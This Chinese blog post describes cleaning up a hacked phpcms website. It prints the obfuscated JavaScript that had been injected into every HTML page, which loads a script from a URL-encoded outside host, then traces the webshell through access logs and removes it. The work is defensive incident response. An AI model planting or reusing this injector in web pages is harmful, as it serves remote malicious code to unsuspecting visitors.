昨天一天朋友QQ突然找我,说是它的网站被人家挂马了,让我帮他找出***程序,他的网站是使用phpcms二次开发的,于是上服务器查看下,所有.html.htm.shtm都被挂了马,很明显是批量挂马了,下面给出js挂马的代码

   

 
  
  1. <Script language="javascript"
  2. <!-- 
  3. function xx(num,str){var a=num;this.aa=a;this.bb=function(){alert(str)};this.cc=function(){for(var i=0;i<10;i++) {document.title=i}};this.yy=new yy();function xxf(){alert("xxf");if((/\{\d+\}/).test("a\sdf{2}12d"))alert("{\\d} is  match!")}};xx.prototype.dd=function(){alert("dd");a.yy.ll();var fnx=function(i){this.index=i;this.aa=function(){alert(this.index)}};var f1=new  fnx(12);f1.aa()};function yy(){alert('yy')};yy.prototype.ll=function(){alert("yyll")};document.write('<SCRIPT src="http://%77%77%77%2E%67%6F %6F%67%6C%65%61%64%73%6C%2E%63%6F%6D/%73%70%63%6F%64%65/%63%70%2E%6A%73"></script>');var k=9; 
  4. --> 
  5. </Script> 

 

还原下js代码,看下是什么地址?

 

出来了,打开地址看看是什么情况?

 

原来是这货呀,当你打开多次的时候你会发现,它不是经常出现的,所以被挂了这种***,时有时没的显示,各位要多留意下自己网站.

 

OK,既然知道了,我们就要找出webshell,随便找一个被挂了马的页面

 

 

 
  
  1. [root@ss phpcms]# cat index.html |grep http://%77%77%77%2E%67%6F%6F%67%6C%65%61%64%73%6C% 
  2. function xx(num,str){var a=num;this.aa=a;this.bb=function(){alert(str)};this.cc=function(){for(var i=0;i<10;i++){document.title=i}};this.yy=new yy();function xxf(){alert("xxf");if((/\{\d+\}/).test("a\sdf{2}12d"))alert("{\\d} is match!")}};xx.prototype.dd=function(){alert("dd");a.yy.ll();var fnx=function(i){this.index=i;this.aa=function(){alert(this.index)}};var f1=new fnx(12);f1.aa()};function yy(){alert('yy')};yy.prototype.ll=function(){alert("yyll")};document.write('<SCRIPT src="http://%77%77%77%2E%67%6F%6F%67%6C%65%61%64%73%6C%2E%63%6F%6D/%73%70%63%6F%64%65/%63%70%2E%6A%73"></script>');var k=9

然后再看下这个页面最后被修改的日期

 

 
  
  1. [root@ss phpcms]# ls -lh  |grep index.html 
  2. -rwxrwxrwx  1 xiangbin xiangbin 8.4K 02-19 12:51 index.html 

看日期是02-19 12:51,因为webshell来挂马,是通过访问websehll的页面来执行的,所以访问apache访问日志里会记录下来的,除非它能清除apache日志.那就先过滤下访问日志,以时间来过虑.

 

 
  
  1. [root@ss httpd]# grep '19/Feb/2013' access_log> 1.txt 

查看12:51点钟前的可疑访问页面,终于查看出这两个页面,style.php yp.php

 

 
  
  1. 218.239.45.189 - - [19/Feb/2013:12:51:18 +0800] "GET /yp/business/style.php?s=a&p=%2Fnet%2F.. HTTP/1.1" 200 15806 

 

于是打开一看,现形了

 

呵呵,然后删除掉,然后使用shell脚本批量去掉挂载的js代码。最后做下基本的安全,phpcms漏洞太多啦,使用的时候最好是前后台分割,还有就是权限不能使用777,这样是一件很让人害怕的事。